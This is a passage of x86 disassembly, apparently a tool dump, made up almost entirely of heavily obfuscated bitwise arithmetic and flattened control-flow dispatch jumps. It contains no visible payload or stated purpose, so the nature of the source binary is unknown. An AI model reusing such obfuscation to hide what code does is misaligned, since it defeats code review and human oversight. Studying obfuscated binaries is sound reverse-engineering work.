not cl
and dh, bl
and bl, 0x51
and cl, 0x8a
mov al, dh
or cl, ch
xor cl, ah
mov ah, cl
and cl, 0x44
not ah
and ah, 0xbb
or cl, ah
mov ah, cl
xor cl, 8
xor ah, 0x20
and cl, 0x49
and ah, 0xb6
or cl, ah
mov ch, cl
xor cl, 0x49
xor ch, 0xb6
mov bh, cl
mov ah, ch
and bh, 0x88
and ch, 0x51
and ah, 0x77
or bh, ah
mov ah, dl
and ah, 0x88
and al, ah
xor ah, dh
or ah, al
mov al, bh
and bh, 0xb9
not al
and al, 0x46
or bh, al
mov al, ah
and ah, 0xb9
not al
and al, 0x46
or ah, al
mov al, cl
or cl, dl
and dl, 0xae
and al, 0xae
or bl, dl
not cl
xor ah, bh
or ch, al
xor bl, ch
or cl, bl
mov al, cl
and cl, 0x8a
not al
and al, 0x75
or cl, al
mov al, ah
xor cl, 0x8a
and al, cl
xor cl, ah
or cl, al
mov eax, ecx
and cl, 0xae
not al
and al, 0x51
or cl, al
mov eax, ecx
xor cl, 0x51
mov edx, ecx
xor al, 0xae
and cl, al
and dl, 0xfe
and al, 1
or al, dl
mov edx, ecx
and cl, 0x76
mov ah, al
not dl
and al, 0x76
xor ah, 0xfe
mov ch, ah
or ah, dl
and dl, 0x89
and ch, 0x89
or cl, dl
not ah
movzx edx, byte [esp]
or al, ch
mov ch, byte [esp + 4]
xor cl, al
or ah, cl
mov al, ah
and ah, 0xf3
or dl, 0x61
not al
or ch, 0x9e
and al, 0xc
or ah, al
mov cl, ah
and ah, 0x50
xor cl, 0x5c
mov al, cl
and al, 0xaf
or ah, al
mov al, ch
and ch, 0x62
xor cl, ah
not al
and cl, ah
mov ah, dl
and al, 1
and dl, 0x62
not ah
or al, ch
mov ebx, ecx
and ah, 0x9c
and bl, 5
or ah, dl
xor ah, al
mov al, ah
and ah, 0x61
not al
and al, 0x9e
or ah, al
mov dl, ah
mov al, ah
xor dl, 0x24
and al, 0x40
and dl, ah
not ah
and ah, 0xbf
or al, ah
mov ah, al
xor al, 0xef
xor ah, 0x40
mov ch, ah
and ah, 0xaf
and ch, 0x24
or al, ah
mov dh, ch
mov ah, al
and al, 0xd5
and dh, dl
xor dl, ch
not ah
or dl, dh
and ah, 0x2a
mov ch, dl
and dl, 0x8b
or al, ah
not ch
and ch, 0x74
or dl, ch
mov ch, al
xor al, 0x2a
mov ah, dl
xor ch, 0x15
and dl, 0x1d
not ah
and ch, 0x1d
mov dh, ah
or ah, al
and al, 0xe2
and dh, 0xe2
or ch, al
not ah
or dl, dh
mov dh, cl
and cl, 0x8c
xor ch, dl
not dh
or ah, ch
mov al, ah
and ah, 0xee
not al
and al, 0x11
or ah, al
mov al, ah
and ah, 0x52
not al
and al, 0xad
or ah, al
mov al, ah
not ah
xor al, 0x43
and ah, 0xc
and al, 0xf3
or ah, al
mov al, ah
xor ah, 0xf3
xor al, 0xc
mov dl, ah
and ah, 0x40
mov ch, al
and dl, 0x1d
and ch, 0xe2
or ch, dl
mov dl, dh
and dl, 0xfa
or bl, dl
mov dl, ch
and ch, 5
xor dl, 0x18
and dl, 0xfa
or ch, dl
xor ch, bl
mov dl, ch
xor dl, dh
and dh, 0x73
and dl, ch
mov ch, al
or cl, dh
and al, 0x8c
and ch, 0x33
or ch, ah
mov ah, cl
and cl, 0xed
not ah
xor ch, 0x33
or al, ch
and ah, 0x12
mov ch, dl
or cl, ah
mov ah, al
and al, 0xed
and ch, 0xaa
not ah
and ah, 0x12
or al, ah
xor al, cl
mov cl, dl
and dl, 0x3f
mov dh, al
mov ah, al
not cl
and al, 0x3f
not dh
and cl, 0x55
and ah, 0x62
and dh, 0x9d
or ch, cl
or ah, dh
mov cl, ch
xor ch, 0x95
xor ah, 0x62
xor cl, 0xaa
mov dh, ah
and ch, cl
and dh, 0xc0
or al, dh
mov dh, ch
and dh, dl
xor dl, ch
or dl, dh
mov ch, dl
and dl, 0x3b
not ch
and ch, 0xc4
or dl, ch
mov ch, al
and al, 0x3b
not ch
and ch, 0xc4
or al, ch
xor al, dl
mov edx, ecx
and dl, ah
xor ah, cl
or ah, dl
mov cl, ah
and ah, 0x5b
not cl
and cl, 0xa4
or ah, cl
mov ecx, eax
and al, 0xf9
mov dl, ah
not cl
xor ah, 0xa4
mov ch, cl
xor dl, 0x59
or cl, ah
and ah, 6
and dl, 0xf9
and ch, 6
not cl
or al, ch
or dl, ah
xor dl, al
or cl, dl
mov edx, ecx
mov eax, ecx
mov ch, cl
not dl
and al, 0x41
xor ch, 0xc9
mov ah, dl
and ch, cl
and dl, 0xd4
and cl, 0x2b
and ah, 0x88
or cl, dl
or al, ah
mov edx, ecx
xor cl, 0x9f
mov ah, al
xor al, 0xbe
xor dl, 0x20
xor ah, 0x40
mov dh, al
and dl, 0xb4
and dh, 0x27
and ah, 0xc8
or cl, dl
or ah, dh
mov dh, ch
and ch, 0xd8
not dh
or al, dh
and dh, 0x27
or ch, dh
not al
xor ch, ah
or al, ch
mov ah, al
and al, 0x20
not ah
and ah, 0x94
or al, ah
mov ah, al
xor al, 0x5d
xor ah, 0xa0
and al, 0xdd
mov dl, ah
xor dl, cl
and dl, ah
and ah, 0x20
or ah, al
mov al, cl
and cl, 0xdd
not al
and al, 0x22
or al, cl
mov ecx, edx
xor al, ah
and cl, al
xor al, dl
or al, cl
mov ecx, 0xfaba439
mov byte [esp + esi + 0x268], al
mov eax, dword [esp + 0x13c]
inc eax
mov dword [esp + 0x3c], eax
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0x9c]
mov edx, dword [esp + 0x154]
lea edx, [edx + edx*4]
lea ecx, [ecx + edx*8]
mov dword [esp + 0x114], ecx
mov ecx, dword [esp + 0x114]
add eax, dword [ecx + 0xc]
mov dword [esp + 0x118], eax
mov eax, dword [esp + 0x114]
mov edi, dword [eax + 0x24]
mov ebx, edi
mov eax, edi
mov ebp, edi
not ebx
and eax, 0x973d07da
mov dword [esp], ebp
mov ecx, ebx
mov esi, ebx
mov dword [esp + 4], ebx
and ecx, edi
and esi, 0x68c2f825
mov edx, ecx
or esi, eax
mov eax, edi
and ecx, 0x68c2f825
not edx
or eax, edx
and edx, 0x973d07da
or ecx, edx
not eax
xor ecx, esi
mov esi, edi
or eax, ecx
and esi, 0x9b180e49
mov ecx, eax
and eax, 0x41d23ea7
not ecx
and ecx, 0xbe2dc158
or eax, ecx
mov ecx, ebx
and ecx, 0x64e7f1b6
mov edx, eax
xor eax, 0xbe2dc158
or ecx, esi
xor edx, 0x41d23ea7
xor ecx, 0x64e7f1b6
or ecx, ebx
mov esi, ecx
not esi
and esi, edx
mov edx, eax
xor edx, ecx
and ecx, eax
and edx, eax
or ecx, esi
mov eax, edx
mov esi, ecx
and edx, 0x7fa90ac6
and ecx, 0x7fa90ac6
not eax
not esi
mov edi, eax
or eax, esi
and esi, 0x8056f539
and edi, 0x8056f539
or ecx, esi
not eax
or edx, edi
xor ecx, edx
or eax, ecx
mov ecx, eax
and eax, 0x3d149091
not ecx
and ecx, 0xc2eb6f6e
or eax, ecx
mov ecx, eax
and eax, 0xc2eb6f6e
not ecx
and ecx, 0x3d149091
or eax, ecx
mov ecx, eax
xor ecx, 0x7eec6bc0
and ecx, eax
or eax, 0x8113943f
mov esi, ecx
mov edx, eax
mov edi, eax
and ecx, 0x42815c0d
not edx
not esi
and edi, 0xbd7ea3f2
or eax, esi
and edx, 0x42804800
and esi, 0xbd7ea3f2
or edx, edi
or ecx, esi
not eax
mov edi, ebp
xor ecx, edx
and edi, 0x1a29463
or eax, ecx
mov ecx, eax
and eax, 0xc75b071f
not ecx
and ecx, 0x38a4f8e0
or eax, ecx
mov ecx, ebp
mov edx, eax
xor eax, 0x6088000
and ecx, 0xde71533b
xor edx, 0x10076811
and eax, 0x8fb884ce
and edx, 0x70477b31
or edx, eax
mov eax, edx
xor edx, 0x50477b31
not eax
and eax, 0x20000000
or edx, eax
mov eax, ebx
and eax, 0x18eacc4
mov ebp, edx
or ecx, eax
mov eax, ebx
not ebp
mov esi, ecx
xor ecx, 0x218c2884
or eax, 0xdbd298c
xor esi, 0xd2405233
and ecx, 0x2dbd298c
and eax, 0x2dbd298c
and esi, 0xd242d673
or esi, ecx
mov ecx, ebx
and ecx, 0xfe5d6b9c
xor eax, esi
or edi, ecx
mov ecx, eax
and eax, 0xd8abe086
not ecx
mov esi, ecx
and esi, 0x27541f79
or eax, esi
mov esi, edi
xor edi, 0x26540b18
xor esi, 0xa28002
and edi, 0x27541f79
and esi, 0xd8abe086
or esi, edi
xor esi, eax
mov eax, edx
not esi
and eax, 0x59808e5c
or esi, ecx
mov ecx, edx
and ecx, ebp
and ebp, 0xa67f71a3
or ebp, eax
mov eax, ebp
xor ebp, 0x59808e5c
xor eax, 0x4586101
mov edi, ebp
and edi, 0xaa2798f2
and eax, 0x55d8670d
or eax, edi
mov edi, ecx
and ecx, 0x55d8670d
not edi
or ebp, edi
and edi, 0xaa2798f2
or ecx, edi
not ebp
xor ecx, eax
mov eax, esi
or ebp, ecx
mov ecx, esi
not eax
xor ecx, 0x590a3ba5
and ecx, eax
mov eax, esi
and eax, 0xa6f5c45a
mov edi, eax
and edi, ecx
xor ecx, eax
or ecx, edi
mov eax, ecx
and ecx, 0xa6f5c45a
not eax
and eax, 0x590a3ba5
or ecx, eax
mov eax, ebp
not eax
mov ebx, ecx
mov edi, eax
and ebx, 0x50dd0233
and edi, 0x9d35f51c
mov dword [esp + 8], edi
mov edi, ecx
and ecx, eax
not edi
mov dword [esp + 0xc], ecx
or eax, edi
mov ecx, edi
and edi, ebp
mov dword [esp + 0x10], eax
mov eax, ebp
and ecx, 0xaf22fdcc
mov dword [esp + 0x14], edi
and eax, 0x62ca0ae3
or ebx, ecx
add eax, dword [esp + 8]
mov ecx, ebx
xor ebx, 0x42fc2ad1
xor ecx, 0x10010022
and ecx, 0x122128e2
or ebx, ecx
mov ebp, eax
xor eax, 0x70eb2201
mov ecx, ebx
and ebx, 0x3ae02dc4
xor ebp, 0x20008e2
not ecx
and ebp, 0x122128e2
and ecx, 0xc51fd23b
or eax, ebp
or ebx, ecx
mov ecx, esi
xor esi, 0xedded71d
mov ebp, eax
and eax, 0x2bc86014
and ecx, 0xedded71d
not ebp
or esi, ecx
and ebp, 0xd4379feb
mov dword [esp + 8], esi
or eax, ebp
mov ebp, edx
xor edx, 0xedded71d
and ebp, 0xedded71d
or edx, ebp
mov ebp, edx
and edx, 0x26bb68d
not ebp
and ebp, 0xfd944972
or edx, ebp
mov ebp, edx
mov ecx, edx
xor edx, 0x4d69b25a
xor ecx, 0x94840942
xor ebp, 0x26bb68d
and edx, ebp
and ecx, 0x94ee0d43
and ebp, 0x6b11f2bc
or ebp, ecx
mov ecx, eax
xor eax, 0xd4379feb
xor ecx, 0xb000014
xor ebp, 0x6b11f2bc
or ecx, 0xb0fdfb28
mov edi, ebp
mov esi, ecx
and ecx, 0xed672c46
and edi, 0x4f0204d7
not esi
and esi, 0x2000091
or esi, ecx
mov ecx, eax
and ecx, ebp
xor ebp, eax
mov dword [esp + 0x18], ecx
mov ecx, eax
or ecx, 0x4f0204d7
or ebp, dword [esp + 0x18]
mov eax, ecx
and ecx, 0xed672c46
not eax
and eax, 0x1098d328
or eax, ecx
mov ecx, edi
and ecx, edx
xor edx, edi
xor eax, esi
or edx, ecx
mov ecx, eax
and eax, 0x2e0c1e88
not ecx
and ecx, 0xd1f3e177
or eax, ecx
mov ecx, edx
and edx, 0x2e0c1e88
not ecx
and ecx, 0xd1f3e177
or edx, ecx
xor edx, eax
mov eax, ebp
and ebp, 0x314f97d4
not eax
and eax, 0xceb0682b
or ebp, eax
mov eax, edx
xor ebp, 0x314f97d4
and eax, ebp
xor ebp, edx
mov edx, dword [esp + 8]
or ebp, eax
mov eax, ebx
xor ebx, 0xc51fd23b
mov ecx, ebx
xor eax, 0x38a005c0
and ebx, 0x740f81c
and eax, 0xf8bf07e3
mov esi, edx
or ecx, edx
and edx, 0x740f81c
or eax, ebx
mov ebx, dword [esp + 4]
not esi
not ecx
and esi, 0xf8bf07e3
or esi, edx
xor esi, eax
mov eax, ecx
and eax, esi
xor esi, ecx
mov ecx, ebp
or esi, eax
not ecx
mov eax, esi
mov edx, esi
and ecx, 0x4a030842
not eax
xor edx, 0x6a37cb72
and eax, edx
and edx, esi
mov esi, ebp
xor esi, 0x6a37cb72
and esi, ebp
or ebp, 0x95c8348d
mov edi, ebp
and edi, 0xa1bcd330
or ecx, edi
mov edi, esi
and esi, 0x5e432ccf
not edi
or ebp, edi
and edi, 0xa1bcd330
or esi, edi
mov edi, dword [esp + 0x14]
not ebp
xor esi, ecx
mov ecx, eax
and ecx, edx
xor edx, eax
or ebp, esi
or edx, ecx
mov ecx, dword [esp + 0x10]
mov eax, ebp
not eax
or edi, dword [esp + 0xc]
and eax, edx
not edx
and edx, ebp
not ecx
or edx, eax
mov eax, ecx
and eax, edi
xor edi, ecx
or edi, eax
mov eax, edi
mov esi, edi
not eax
and esi, 0xaed7363a
mov ecx, eax
and eax, 0x5128c9c5
and ecx, edi
or eax, esi
mov esi, ecx
and ecx, 0x5128c9c5
not esi
or edi, esi
and esi, 0xaed7363a
or ecx, esi
not edi
mov esi, edx
xor ecx, eax
not esi
or edi, ecx
mov eax, edi
and edi, 0xdd56fcb9
not eax
and eax, 0x22a90346
or edi, eax
mov ecx, edi
xor edi, 0x20010300
xor ecx, 0x9456d001
and edi, 0x69012fb8
and ecx, 0x96fed047
or ecx, edi
mov eax, ecx
xor ecx, 0x82308042
xor eax, 0x41012c98
and ecx, 0xaa308362
and eax, 0x55cf7c9d
or eax, ecx
mov ecx, eax
xor eax, 0xaa308362
xor ecx, 0x55cf7c9d
and ecx, esi
or esi, eax
and eax, edx
not esi
or eax, ecx
mov ecx, esi
and ecx, eax
xor eax, esi
mov esi, dword [esp]
or eax, ecx
mov ecx, ebx
and ecx, 0x10458450
mov edx, esi
mov edi, esi
and edx, 0x102022
or edx, ecx
mov ecx, esi
xor edx, 0x102022
and ecx, 0xefaa5b8d
or ecx, edx
mov edx, ecx
and ecx, 0x1055a472
not edx
and edx, 0xefaa5b8d
or ecx, edx
mov edx, ecx
and ecx, 0x8a7fba71
not edx
and edx, 0x7580458e
or ecx, edx
mov edx, ecx
xor ecx, 0x25000408
xor edx, 0x8a7fba71
and ecx, 0xa7470c59
mov esi, edx
and edx, 0x30c4e257
and esi, 0x58b8f3a6
or esi, ecx
xor esi, 0x9783ee0e
or edx, esi
mov esi, edi
mov edi, ebx
and esi, 0xbf46a2b2
and edi, 0x40b95d4d
mov ecx, edx
or edi, esi
mov esi, ebx
not ecx
mov ebx, eax
xor edi, 0x707dbf1a
and esi, 0xcf3b1da8
and ebx, 0xac8922be
or esi, edi
mov edi, esi
not esi
and esi, edx
or edx, edi
and edi, ecx
not edx
or edi, esi
mov ecx, edx
and ecx, edi
xor edi, edx
or edi, ecx
mov esi, edi
mov ecx, edi
mov edx, edi
not esi
and ecx, 0xb020a6c8
xor edx, 0xf43ff7c8
and esi, 0x441f5100
and edx, edi
mov edi, eax
or ecx, esi
and edi, 0x12569001
xor ecx, 0xb020a6c8
mov esi, ecx
and esi, edx
xor edx, ecx
or edx, esi
mov esi, eax
not esi
mov ecx, edx
and edx, 0x3b04ea60
mov dword [esp + 4], esi
and esi, 0x41204d40
not ecx
or edi, esi
and ecx, 0xc4fb159f
xor edi, 0x12569001
or edx, ecx
or ebx, edi
mov edi, edx
mov esi, ebx
not edi
and ebx, 0x5376dd41
not esi
mov ebp, edi
and esi, 0xac8922be
and ebp, 0x204ea01d
or ebx, esi
mov esi, edx
and edx, 0xe6c6917
and esi, 0xdfb15fe2
or esi, ebp
mov ebp, ebx
and ebx, 0x311d18fe
not ebp
and ebp, 0xcee2e701
or ebx, ebp
mov ebp, esi
xor esi, 0x204ea01d
xor ebp, 0x96b114a2
mov ecx, esi
and ecx, 0x690e4b49
and ebp, 0x96f1b4b6
or ebp, ecx
mov ecx, ebx
xor ebx, 0xcee2e701
xor ecx, 0x101110b6
or esi, ebx
and ebx, 0x690e4b49
and ecx, 0x96f1b4b6
not esi
or ecx, ebx
mov ebx, eax
xor ecx, ebp
and ebx, 0x73ef0ef5
or esi, ecx
mov ecx, dword [esp + 4]
and ecx, 0x8c10f10a
or ebx, ecx
mov ecx, ebx
xor ebx, 0x8c10f10a
mov ebp, ebx
xor ecx, 0x26c0815
or ebx, edi
and edi, 0xf19396e8
and ebp, 0xf19396e8
and ecx, 0xe6c6917
or edx, edi
not ebx
mov edi, esi
or ecx, ebp
not edi
xor edx, ecx
and edi, 0x16b2a233
or ebx, edx
mov ecx, ebx
and ebx, 0xc2ccb9f8
not ecx
and ecx, 0x3d334607
or ebx, ecx
mov ecx, esi
and esi, 0xe94d5dcc
mov edx, ebx
xor ebx, 0x3d334607
or edi, esi
xor edx, 0x280a030
or ecx, ebx
and ebx, 0xe94d5dcc
and edx, 0x16b2a233
not ecx
or edx, ebx
mov esi, ecx
xor edx, edi
and esi, edx
xor edx, ecx
or edx, esi
mov esi, dword [esp + 4]
mov ecx, esi
and esi, eax
and eax, 0x1ba1bec8
and ecx, 0xe45e4137
or eax, ecx
xor eax, 0x1ba1bec8
mov ecx, eax
xor eax, esi
and ecx, esi
or eax, ecx
mov ecx, edx
and edx, 0xec16721b
not ecx
mov edi, eax
mov esi, ecx
xor edi, 0x13e98de4
and esi, 0x13e98de4
or edx, esi
mov esi, eax
not esi
and esi, edi
and edi, eax
mov eax, esi
mov ebp, edi
and esi, 0xd66240b
and edi, 0xd66240b
not eax
not ebp
mov ebx, eax
or eax, ebp
and ebp, 0xf299dbf4
and ebx, 0xf299dbf4
or edi, ebp
not eax
or esi, ebx
xor edi, esi
or eax, edi
mov edi, edx
not edi
and edi, eax
not eax
and eax, edx
or eax, edi
not eax
mov edx, eax
xor eax, ecx
and edx, ecx
or eax, edx
mov ecx, eax
and eax, 0x26ef307c
not ecx
and ecx, 0xd910cf83
or eax, ecx
cmp dword [esp], 0
mov ecx, 0x61cdd923
sets byte [esp + 0x11f]
xor eax, 0x26ef307c
mov eax, 0x2aaaf522
jmp 0x44b18f
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0x9c]
mov edx, dword [esp + 0x130]
mov edi, 0x48603c
lea edx, [edx + edx*4]
mov esi, dword [ecx + edx*8 + 0x14]
add eax, dword [ecx + edx*8 + 0xc]
add esi, edi
push dword [ecx + edx*8 + 0x10]
push esi
push eax
call fcn.00473e80
add esp, 0xc
mov eax, dword [esp + 0x130]
mov ecx, 0x7a373ec2
inc eax
mov dword [esp + 0x64], eax
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
mov ecx, dword [esp + 0x148]
mov eax, dword [esp + 0xec]
add ecx, dword [eax]
mov dword [esp + 0x58], ecx
mov ecx, 0x8d2df5b9
mov eax, dword [esp + 0x14c]
inc eax
mov dword [esp + 0x54], eax
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
mov eax, dword [esp + 0xf0]
mov ecx, dword [esp + 0x150]
cmp ecx, eax
mov eax, dword [0x4d0db4]
setb byte [esp + 0xfb]
lea ecx, [eax - 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
mov ebx, ecx
not edx
and eax, 0x524c26a4
mov dword [esp + 8], ebx
mov ecx, edx
mov esi, edx
and ecx, 0xadb3d95b
mov ebp, esi
or ecx, eax
mov eax, ebx
mov edx, ecx
xor ecx, 0xc0200
or eax, esi
xor edx, 0x25900912
and ecx, 0x882fd249
mov esi, eax
and edx, 0x77d02db6
not esi
or edx, ecx
mov ecx, edx
xor edx, 0x77d02db6
mov edi, edx
xor ecx, 0x882fd249
xor edi, eax
and esi, ecx
and eax, edx
and edi, edx
or eax, esi
mov ecx, edi
mov edx, eax
and edi, 0x62ac5fd3
and eax, 0x62ac5fd3
not ecx
not edx
mov esi, ecx
or ecx, edx
and edx, 0x9d53a02c
and esi, 0x9d53a02c
or eax, edx
not ecx
or edi, esi
xor eax, edi
or ecx, eax
mov eax, ecx
mov edx, ecx
xor eax, 0x2b0b1a3f
and edx, 0x90b1a2e
and eax, ecx
not ecx
and ecx, 0x22000011
or edx, ecx
xor edx, 0x90b1a2e
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
and eax, 0x2b0b1a3f
not ecx
and ecx, 0xd4f4e5c0
or eax, ecx
mov ecx, eax
and eax, 0xe19a2f85
not ecx
mov edx, ecx
and ecx, 0x1e65d07a
or eax, ecx
or edx, 0xfffffffe
mov ecx, eax
xor eax, 0xe19a2f84
mov esi, edx
xor ecx, 0xe40c00a
or edx, eax
and eax, 0x712d1475
and esi, 0x712d1475
and ecx, 0x8ed2eb8a
not edx
or ecx, eax
xor ecx, esi
or edx, ecx
mov eax, edx
mov edi, edx
not eax
and edi, 0xaf764ce8
mov ecx, eax
and eax, 0x5089b317
and ecx, edx
or eax, edi
mov edi, ebp
mov esi, ecx
and ecx, 0x5089b317
mov dword [esp + 0xc], edi
not esi
or edx, esi
and esi, 0xaf764ce8
or ecx, esi
not edx
mov esi, ebx
xor ecx, eax
and esi, 0xd5f543c4
or edx, ecx
mov ecx, ebp
mov ebp, ebx
and ecx, 0x2a0abc3a
xor ebp, 0xfffffffe
mov eax, edx
or esi, ecx
and ebp, ebx
not eax
xor esi, 0xd5f543c4
mov dword [esp], eax
mov ecx, esi
and ecx, ebp
xor ebp, esi
mov esi, edi
mov esi, edx
or ebp, ecx
and esi, 0xe0303342
mov ecx, ebp
and ebp, 0x537b7540
not ecx
and ecx, 0xac848abf
or ebp, ecx
xor ebp, 0x537b7540
mov ecx, ebp
xor ebp, edi
and ecx, edi
mov edi, edx
or ebp, ecx
xor edi, 0xe2b1b7f2
mov ecx, ebp
and ebp, 0xc5e524ea
and edi, edx
and edx, 0xaf5094b6
not ecx
and ecx, 0x3a1adb15
or ebp, ecx
mov ecx, eax
and ecx, 0x28184b0
or esi, ecx
xor esi, 0xe0303342
mov ecx, esi
and ecx, edi
xor edi, esi
mov esi, ebp
xor ebp, 0x3a1adb15
or edi, ecx
xor esi, 0xc5e524ea
mov ecx, edi
and edi, 0x9a392a19
mov eax, esi
not ecx
and eax, 0x20801e29
and ecx, 0x65c6d5e6
or edi, ecx
mov ecx, ebp
mov ebx, edi
mov edi, esi
and ecx, 0x99979f69
and esi, 0x66686096
or esi, ecx
and edi, 0xd671c1d4
not esi
or esi, ebp
and ebp, 0x90e2002
or eax, ebp
mov ebp, ebx
mov dword [esp + 4], esi
mov esi, ebx
xor eax, 0x20801e29
xor ebp, 0x87776214
xor esi, 0x78889deb
or edi, eax
mov eax, dword [esp]
mov dword [esp + 0x10], esi
and esi, 0x99979f69
mov dword [esp + 0x14], ebp
mov ecx, edi
and edi, 0x298e3e2b
not ecx
and ecx, 0xd671c1d4
and eax, 0x50af6b49
or edi, ecx
mov ecx, ebp
or edx, eax
and ecx, 0x66686096
mov eax, edx
xor edx, 0x36c70bdf
or esi, ecx
mov ecx, edi
xor eax, 0x89109420
mov ebx, esi
and ecx, 0x99979f69
and eax, 0x99979f69
xor ebx, ebp
or edx, eax
mov eax, edi
and ebx, esi
and edi, 0x5c91889
not eax
mov ebp, edx
mov dword [esp], eax
and eax, 0x66686096
not ebp
or ecx, eax
mov eax, ebx
mov dword [esp + 0x1c], ecx
mov ecx, ebx
and eax, 0x7d51f727
and ebx, 0xfc2e9afa
not ecx
and ecx, 0x82ae08d8
or eax, ecx
xor eax, 0x7d51f727
mov ecx, eax
and ecx, 0x3d16505
or ebx, ecx
mov ecx, edx
xor ecx, 0xfc2e9afa
and ecx, ebp
mov ebp, eax
xor eax, edx
and ebp, edx
and edx, 0x3d16505
mov esi, edx
or eax, ebp
and esi, ecx
xor ecx, edx
mov edx, ebx
and ebx, 0x7ec920a2
not edx
or ecx, esi
and edx, 0x8136df5d
or ebx, edx
mov edx, ecx
and ecx, 0x7ec920a2
not edx
and edx, 0x8136df5d
or ecx, edx
mov edx, eax
and eax, 0x8e77c1a9
not edx
xor ecx, ebx
and edx, 0x71883e56
or eax, edx
mov edx, ecx
and ecx, 0x6b6e7898
not edx
mov esi, edx
and esi, 0x94918767
or ecx, esi
mov esi, eax
xor eax, 0x71883e56
xor esi, 0xa664088
or edx, eax
and eax, 0x94918767
and esi, 0x6b6e7898
not edx
or esi, eax
mov eax, dword [esp + 4]
xor esi, ecx
or edx, esi
mov dword [esp + 0x18], edx
mov edx, dword [esp + 0x1c]
mov ebx, eax
and eax, 0xdebc8d8b
not ebx
and ebx, 0x21437274
not edx
or ebx, eax
or edx, dword [esp]
mov eax, ebx
xor ebx, 0x5954d9ae
xor eax, 0x21437274
and ebx, eax
mov esi, edx
mov ebp, edx
xor esi, 0x7817abda
and ebp, eax
xor eax, edx
mov ecx, esi
mov dword [esp + 0x1c], ebp
and ecx, edx
not edx
or eax, dword [esp + 0x1c]
and esi, edx
mov ebp, ecx
mov edx, dword [esp + 4]
and ebp, esi
xor esi, ecx
or esi, ebp
mov ebp, ebx
and ebx, 0xeead6f4e
not ebp
mov ecx, ebp
or edx, 0x87e85425
and ecx, 0x115290b1
or ebp, edx
or ebx, ecx
mov ecx, edx
and edx, 0x115290b1
not ebp
not ecx
and ecx, 0x68052b4a
or ecx, edx
xor ecx, ebx
or ebp, ecx
mov ecx, esi
not ecx
and ecx, ebp
not ebp
and ebp, esi
or ebp, ecx
mov ecx, eax
and eax, 0x690c5210
not ecx
and ecx, 0x96f3adef
or eax, ecx
mov ecx, ebp
xor eax, 0x690c5210
and ecx, eax
xor eax, ebp
mov ebp, dword [esp + 0xc]
or eax, ecx
mov edx, eax
and eax, 0x74d359f9
not edx
mov ecx, edx
and edx, 0x8b2ca606
or eax, edx
mov edx, dword [esp + 0x18]
xor eax, edx
or ecx, edx
xor eax, 0x8b2ca606
mov esi, ecx
and eax, edx
mov edx, ecx
and esi, 0x19410689
not edx
and edx, 0xe6bef976
or edx, esi
mov esi, eax
and eax, 0xe6bef976
not esi
or ecx, esi
and esi, 0x19410689
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, dword [esp + 0x14]
mov edx, eax
and eax, 0xfa36e776
mov esi, eax
mov eax, dword [esp + 0x10]
and eax, 0x5c91889
or eax, esi
mov esi, eax
mov eax, dword [esp]
or edx, eax
and eax, 0xfa36e776
or edi, eax
mov eax, edx
not eax
xor edi, esi
mov esi, edx
and esi, 0xf40f58e0
and eax, 0xbf0a71f
or eax, esi
mov esi, edi
and edi, 0xbf0a71f
not esi
or edx, esi
and esi, 0xf40f58e0
or edi, esi
not edx
xor edi, eax
or edx, edi
mov eax, edx
mov edi, edx
not eax
and edi, 0x6d80223c
mov esi, eax
and eax, 0x927fddc3
and esi, edx
or eax, edi
mov edi, esi
and esi, 0x927fddc3
not edi
or edx, edi
and edi, 0x6d80223c
or esi, edi
not edx
mov edi, dword [esp + 8]
xor esi, eax
or edx, esi
mov eax, edx
and edx, 0x7bb61bdd
not eax
mov ebx, edi
mov esi, eax
and ebx, 0x134f099f
and esi, 0x8449e422
or edx, esi
mov esi, ecx
xor edx, 0x7bb61bdd
not esi
or edx, eax
mov eax, edx
not eax
and eax, esi
or esi, edx
and edx, ecx
mov ecx, ebp
not esi
or edx, eax
and ecx, 0x13a02004
mov eax, esi
and eax, edx
xor edx, esi
mov esi, edi
or edx, eax
mov eax, edi
xor esi, 0xb7b5250e
and eax, 0xa415050a
and esi, edi
or eax, ecx
mov ecx, eax
xor eax, 0x5beafaf5
xor ecx, 0x24100000
mov edi, eax
and edi, 0xc8671faa
and ecx, 0x37902004
or ecx, edi
mov edi, esi
and esi, 0x3798e055
not edi
or eax, edi
and edi, 0xc8671faa
or esi, edi
not eax
mov edi, ebp
xor esi, ecx
or eax, esi
mov ecx, eax
and eax, 0xb7b5250e
not ecx
and ecx, 0x484adaf1
or eax, ecx
mov ecx, eax
and eax, 0xf28212d6
not ecx
mov esi, ecx
and ecx, 0x1ab04ddb
and esi, 0xd7ded29
or esi, eax
xor esi, 0xe8325f0d
or ecx, esi
mov esi, ebp
and esi, 0xecb0f660
mov eax, ecx
or ebx, esi
not eax
xor ebx, 0x9ff4444
xor edi, ebx
and edi, ebx
mov esi, edi
and edi, ecx
not esi
or ecx, esi
and esi, eax
not ecx
or esi, edi
mov eax, ecx
and eax, esi
xor esi, ecx
or esi, eax
mov ecx, esi
xor ecx, 0x1ab04ddb
and ecx, esi
not esi
and esi, 0x1ab04ddb
mov eax, esi
and eax, ecx
xor ecx, esi
mov esi, edx
or ecx, eax
mov eax, edx
and esi, 0x2eaf1142
not eax
mov ebx, ecx
mov edi, eax
and ebx, 0xefe64c79
mov dword [esp], eax
and edi, 0xd150eebd
or esi, edi
mov edi, esi
xor esi, 0xc0106aa8
xor edi, 0x20f0002
and esi, 0xecb07be8
and edi, 0x134f8417
or edi, esi
mov ebp, edi
xor edi, 0x12070410
xor ebp, 0x682028c8
and edi, 0x96975730
and ebp, 0x6968a8cf
or ebp, edi
mov edi, ecx
not edi
mov esi, edi
and esi, 0x1019b386
or ebx, esi
mov esi, ebp
xor ebp, 0x10111300
xor esi, 0x69600849
and ebp, 0x1019b386
and esi, 0xefe64c79
or esi, ebp
mov ebp, edx
xor esi, ebx
mov ebx, edi
xor ebp, 0x7842c822
not esi
and ebx, 0x152e8ca9
and ebp, edx
and edx, 0xcddcbac1
or esi, edi
and edi, ecx
and ecx, 0xead17356
or ecx, ebx
xor ecx, 0xead17356
mov ebx, ecx
xor ecx, edi
and ebx, edi
mov edi, eax
and edi, 0x3223453e
or ecx, ebx
or edx, edi
mov edi, ecx
